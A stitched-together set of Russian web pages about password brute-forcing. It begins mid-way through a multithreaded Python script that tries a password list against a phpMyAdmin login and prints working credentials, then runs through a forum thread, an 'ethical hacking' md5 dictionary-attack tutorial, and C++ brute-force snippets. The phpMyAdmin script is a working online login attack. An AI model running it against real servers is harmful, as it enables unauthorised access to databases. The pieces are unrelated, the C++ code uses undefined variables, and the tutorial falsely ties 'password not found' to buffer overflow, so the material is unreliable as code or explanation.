self.passwords_list = user_setting.get_password_list()
def start_attack(self, start_of_list: int, end_of_list: int):
start_time = time.monotonic()
list_one_thread = self.passwords_list[start_of_list:end_of_list]
for password in list_one_thread:
try:
login_attempt_phpmyadmin = PhpMyAdminAuthorization(php_my_admin_url=f'{self.attack_target}/index.php',
user_name=self.username, user_password=password)
if login_attempt_phpmyadmin.get_result_authorization():
print(f'login: {login_attempt_phpmyadmin.user_name} |'
f' password: {login_attempt_phpmyadmin.user_password} ')
print(time.monotonic() - start_time)
except IndexError:
pass
class Threads(threading.Thread):
def __init__(self, start_of_list, end_of_list):
threading.Thread.__init__(self)
self.start_of_list = start_of_list
self.end_of_list = end_of_list
def run(self):
brute_force_attack.start_attack(self.start_of_list, self.end_of_list)
class StartProgram:
def __init__(self):
self.number_threads = int(user_setting.get_number_threads())
self.length_password_list = len(user_setting.get_password_list())
def main(self):
start_list = 0
max_list = self.length_password_list // self.number_threads
for i in range(self.number_threads):
thread = Threads(start_list, max_list)
start_list = max_list
max_list = start_list + self.length_password_list // self.number_threads
thread.start()
if __name__ == '__main__':
user_setting = UserArgument()
brute_force_attack = BruteForceAttack()
StartProgram().main()
Заключение и тестирование нашей программы
Программу я протестировал на списках паролей следующей длины 10000 паролей, 1000 паролей и 10 паролей в файле.
Скорость выполнения в рамках локальной сети вы видите на приведенном ниже скриншоте.
Надеюсь, после прочтения данного материала вы узнали что-то новое для себя, чему-то научились и сами стали чуточку лучше.
Буду ждать комментариев.
Tsunami_921 1 / 0 / 1 Регистрация: 23.11.2019 Сообщений: 31 |
||||
1 |
||||
Скрипт подбора пароля21.12.2019, 22:15. Показов 51551. Ответов 6 Метки нет (Все метки)
Не получается написать скрипт для последовательного подбора пароля.
Мне же надо чтобы он работал со списками и последовательно выбирал объекты из этого списка по индексу.
__________________
0 |
Programming Эксперт 94731 / 64177 / 26122 Регистрация: 12.04.2006 Сообщений: 116,782 |
21.12.2019, 22:15 |
Ответы с готовыми решениями: Програма подбора пароля Процедура подбора пароля Программа для подбора пароля Программа для подбора пароля 6 |
codcw 814 / 526 / 214 Регистрация: 22.12.2017 Сообщений: 1,495 |
||||
22.12.2019, 01:27 |
2 |
|||
с цифрами просто:
если нужно конкретно по списку, почитайте про функцию product в библиотеке itertools
0 |
1 / 0 / 1 Регистрация: 23.11.2019 Сообщений: 31 |
|
23.12.2019, 20:26 [ТС] |
3 |
Не сработает если первая цифра пароля «0»
0 |
Рыжий Лис Просто Лис 4865 / 3183 / 997 Регистрация: 17.05.2012 Сообщений: 9,294 Записей в блоге: 9 |
||||||||
24.12.2019, 08:39 |
4 |
|||||||
Добавлено через 4 минуты
Код password is "09121998" time: 0.8315978050231934
1 |
513 / 145 / 27 Регистрация: 18.04.2015 Сообщений: 1,872 Записей в блоге: 15 |
|
24.12.2019, 10:21 |
5 |
random подбирает случайные числа. Зацепила задачка… чтобы перебирало сначала Цифра (от 0 до 9) / рандом длиной от 0 до 9 (с учетом первой цифры) тогда минимум в 3 раза сократится
0 |
1 / 0 / 1 Регистрация: 23.11.2019 Сообщений: 31 |
|
24.12.2019, 11:39 [ТС] |
6 |
Рыжий Лис, Не совсем понял как это работает…
0 |
Рыжий Лис Просто Лис 4865 / 3183 / 997 Регистрация: 17.05.2012 Сообщений: 9,294 Записей в блоге: 9 |
||||
24.12.2019, 11:57 |
7 |
|||
https://pyformat.info/ Просто число обратно в строку конвертирует и добивает слева нулями. Добавлено через 41 секунду
Какие числа перебирает range(0,10 ** len(password)) от нуля до 9999 (количество девяток == длине пароля). Добавлено через 1 минуту
0 |
Инженер информационных технологий, участвующий в шифровании мира, должен знать основы взлома. Взлом – это процесс получения доступа к системе, которого у нас быть не должно.
Например, вход в учетную запись электронной почты без авторизации является частью взлома этой учетной записи. Получение доступа к компьютеру или мобильному телефону без авторизации – это взлом. Существует множество способов, которыми пользователь может взломать систему, и основная концепция взлома та же самая: взлом системы без какой-либо аутентификации.
Автор статьи не несет ответственности за использование исходного кода. Данный материал выложен исключительно для ознакомления и не побуждает к противоправным действиям. Наоборот, статья написана в помощь разработчикам, чтобы понимать как устроен хакинг и как вы можете от него защититься.
Этический хакинг – взлом с помощью Python не ограничивается взломом паролей или кражей данных. Он используется для сканирования уязвимостей и обнаружения потенциальных угроз в компьютерной системе или сетях. Этичные хакеры находят слабые места или лазейки в системе, приложениях или сетях и сообщают о них организации.
Существуют разные типы хакеров, вот некоторые из них:
- Черные хакеры. Хакеры Black Hat – это люди, которые неэтично проникли на сайт для получения данных с административного портала или для манипулирования данными. В основном они делают это для получения прибыли или для получения личных данных. Их основная цель – нанести компании серьезный ущерб, а это может привести даже к опасным последствиям.
- Белые хакеры. Это хакеры, которые ищут ошибки и сообщают о них организациям или фирмам с соблюдением этических норм. Они авторизованы как пользователи для тестирования и проверки ошибок в сетях или веб-сайтах и сообщают об этом разработчикам или уполномоченным лицам. Хакер в белой шляпе обычно получает всю необходимую информацию о веб-сайте или сетевой системе, которые они тестируют, от самой фирмы. Взломав систему с авторизацией, они могут спасти сайт от злоумышленников в будущем.
- Серые хакеры. Эти типы хакеров получают доступ к данным веб-сайта или сети и нарушают кибер-закон. Но у них нет таких же намерений, как у хакеров Black Hat. Они взламывают систему для общего блага, но они так же отличаются от белых хакеров, поскольку они используют уязвимости публично, а хакеры в белой шляпе делают это в частном порядке для фирмы или организации.
Использование Python для программирования взлома
Язык Python широко используется для общих целей, и это язык программирования высокого уровня. Это очень простой и мощный язык сценариев с открытым исходным кодом и объектно-ориентированный.
Python имеет встроенные библиотеки, которые можно использовать для различных функций, и взлом – одна из них. Python очень популярен и пользуется большим спросом на рынке. Изучение того, как взломать с помощью Python, поможет лучше понять язык.
Как взламывают пароли?
Как известно, пароли веб-сайтов или файлов не хранятся в виде простого текста в базе данных веб-сайтов. В этом уроке мы собираемся взломать простой текст, защищенный паролем. В простом тексте пароли хранятся в хешированном (md5) формате.
Итак, пользователь должен взять input_hashed (который представляет собой хешированный пароль, хранящийся в базе данных), а затем он должен попытаться сравнить его с хешированием (md5) каждого простого текстового пароля, который можно найти в файле паролей.
Когда будет найдено совпадение хешированного пароля, пользователь может отобразить пароль в виде простого текста, который хранится в файле паролей. Но если пароль не найден в файле входных паролей, то будет отображаться, что «Пароль не найден», это происходит только при переполнении буфера.
Эти типы хакерских атак считаются «атаками по словарю».
Пример:
import hashlib print("# # # # # # Password Hacking # # # # # #") # to check if the password is found or not in the text file. password_found = 0 input_hashed = input(" Please enter the hashed password: ") password_document = input(" n Please enter the passwords file name including its path(root / home/): ") try: # here, we will try to open the passwords text file. password_file = open(password_document, 'r') except: print("Error: ") print(password_document, "is not found.n Please enter the path of file correctly.") quit() # now, for comparing the input_hashed with the hashes of the words present in the password text file for finding the password. for word in password_file: # to encode the word into utf-8 format encoding_word = word.encode('utf-8') # to Hash the word into md5 hash hashed_word = hashlib.md5(encoding_word.strip()) # to digest that the hash into the hexadecimal value digesting = hashed_word.hexdigest() if digesting == input_hashed: # to compare the hashes print("Password found.n The required password is: ", word) password_found = 1 break # if the password is not found in the text file. if not password_found: print(" The password is not found in the ", password_document, "file") print('n') print(" # # # # # # Thank you # # # # # # ")
Вход 1:
# # # # # # Password Hacking # # # # # # Please enter the hashed password: 1f23a6ea2da3425697d6446cf3402124 Please enter the passwords file name including its path(root / home/): passwords.txt
Выход:
Password found. The required password is: manchester123 # # # # # # Thank you # # # # # #
Вход 2:
# # # # # # Password Hacking # # # # # # Please enter the hashed password: b24aefc835df9ff09ef4dddc4f817737 Please enter the passwords file name including its path(root / home/): passwords.txt
Выход:
Password found. The required password is: heartbreaker07 # # # # # # Thank you # # # # # #
Ввод 3:
# # # # # # Взлом пароля # # # # # #
Пожалуйста, введите хешированный пароль: 33816712db4f3913ee967469fe7ee982
Введите имя файла паролей, включая путь к нему (root / home /): passwords.txt
Выход:
Пароль не найден в файле passwords.txt.
Объяснение:
В приведенном выше коде мы сначала импортировали модуль «hashlib», поскольку он содержит различные методы, которые могут обрабатывать хеширование любого необработанного сообщения в зашифрованном методе. Пользователь должен ввести хешированный пароль и местоположение текстового файла паролей.
Затем необходимо открыть текстовый файл, но если он не найден в указанном месте, выводится сообщение об ошибке «Файл не найден».
Затем мы сравниваем введенный хешированный пароль с хешированными словами, присутствующими в текстовом файле, чтобы найти правильный пароль; для этого мы должны закодировать слова в формате utf-8, а затем хешировать слова в хеш md5 и перевести хешированное слово в шестнадцатеричные значения.
Если переведенное значение равно входному хэш-паролю, он распечатает найденный пароль и его правильное значение. Но если пароль не найден, это означает, что значение не совпадает с введенным хеш-паролем. Будет напечатано «Пароль не найден».
Заключение
В этом руководстве мы обсудили этический взлом в Python, а также показали пример того, как взломать пароль.
Изучаю Python вместе с вами, читаю, собираю и записываю информацию опытных программистов.
Ну давайте разберемся как именно генерируется пароль
-
сначала выбирается сколько слов из словаря будет выбрано для пароля — переменная
max
(по умолчанию 1) -
далее из словаря выбирается слово
-
слово дублируется 3 раза, причем после последнего дублирования ставится «_»
Правда sdf_a_safasfasfasdf
с таким алгоритмом не получится, скорее должно было бы получиться sdfsdfsdf_aa_
Чтобы забрутформить надо воспроизвести тот же самый алгоритм, только перебрать все слова из словаря:
// формируем очередное звено пароля
void prepare(std::string& text, const std::string& pass, const int level, const int max_level, const std::vector<std::string>& dict) {
// если сформировано уже максимальное кол-во звеньев - проверить пароль и - выйти
if (level >= max_level) {
if (gen == pass)
std::cout << "Пароль найден!";
return;
}
// перебрать все слова в словаре для данного звена пароля:
const int pwLen = 3;
for (const std::string& word: dict) {
std::string tmp_res = res;
for (int index = 0; index < 3; index ++)
res += word + ((index < pwLen - 1) ? "" : "_");
// сформировать следующее звено пароля
prepare(tmp_res, pass, level + 1, max_level, dict);
}
}
std::string res = "";
prepare(res, "sdfsdfsdf_aa_xxx_", 0, 3, dict);
Если размер пароля (кол-во слов из словаря) не фиксировано, тогда будет выглядеть чуть по другому:
Надо проверять пароль после генерации всегда, а max_level
использовать просто для ограничения максимального размера пароля
// формируем очередное звено пароля
void prepare(std::string& text, const std::string& pass, const int level, const int max_level, const std::vector<std::string>& dict) {
// проверить пароль
if (gen == pass) {
std::cout << "Пароль найден!";
return;
}
// если сформировано уже максимальное кол-во звеньев - выйти
if (level >= max_level) {
return;
}
// перебрать все слова в словаре для данного звена пароля:
const int pwLen = 3;
for (const std::string& word: dict) {
std::string tmp_res = res;
for (int index = 0; index < 3; index ++)
res += word + ((index < pwLen - 1) ? "" : "_");
// сформировать следующее звено пароля
prepare(tmp_res, pass, level + 1, max_level, dict);
}
}
std::string res = "";
prepare(res, "sdfsdfsdf_aa_xxx_", 0, 1000, dict);
Для оптимизации надо сделать так, чтобы если пароль найден на каком-то этапе, то дальше не продолжать работу:
// формируем очередное звено пароля
bool prepare(std::string& text, const std::string& pass, const int level, const int max_level, const std::vector<std::string>& dict) {
// проверить пароль
if (gen == pass) {
std::cout << "Пароль найден!";
return true;
}
// если сформировано уже максимальное кол-во звеньев - выйти
if (level >= max_level) {
return false;
}
// перебрать все слова в словаре для данного звена пароля:
const int pwLen = 3;
for (const std::string& word: dict) {
std::string tmp_res = res;
for (int index = 0; index < 3; index ++)
res += word + ((index < pwLen - 1) ? "" : "_");
// сформировать следующее звено пароля
const bool is_success = prepare(tmp_res, pass, level + 1, max_level, dict);
// если пароль был найден - ничего уже не делать
if (is_success == true)
return true;
}
return false;
}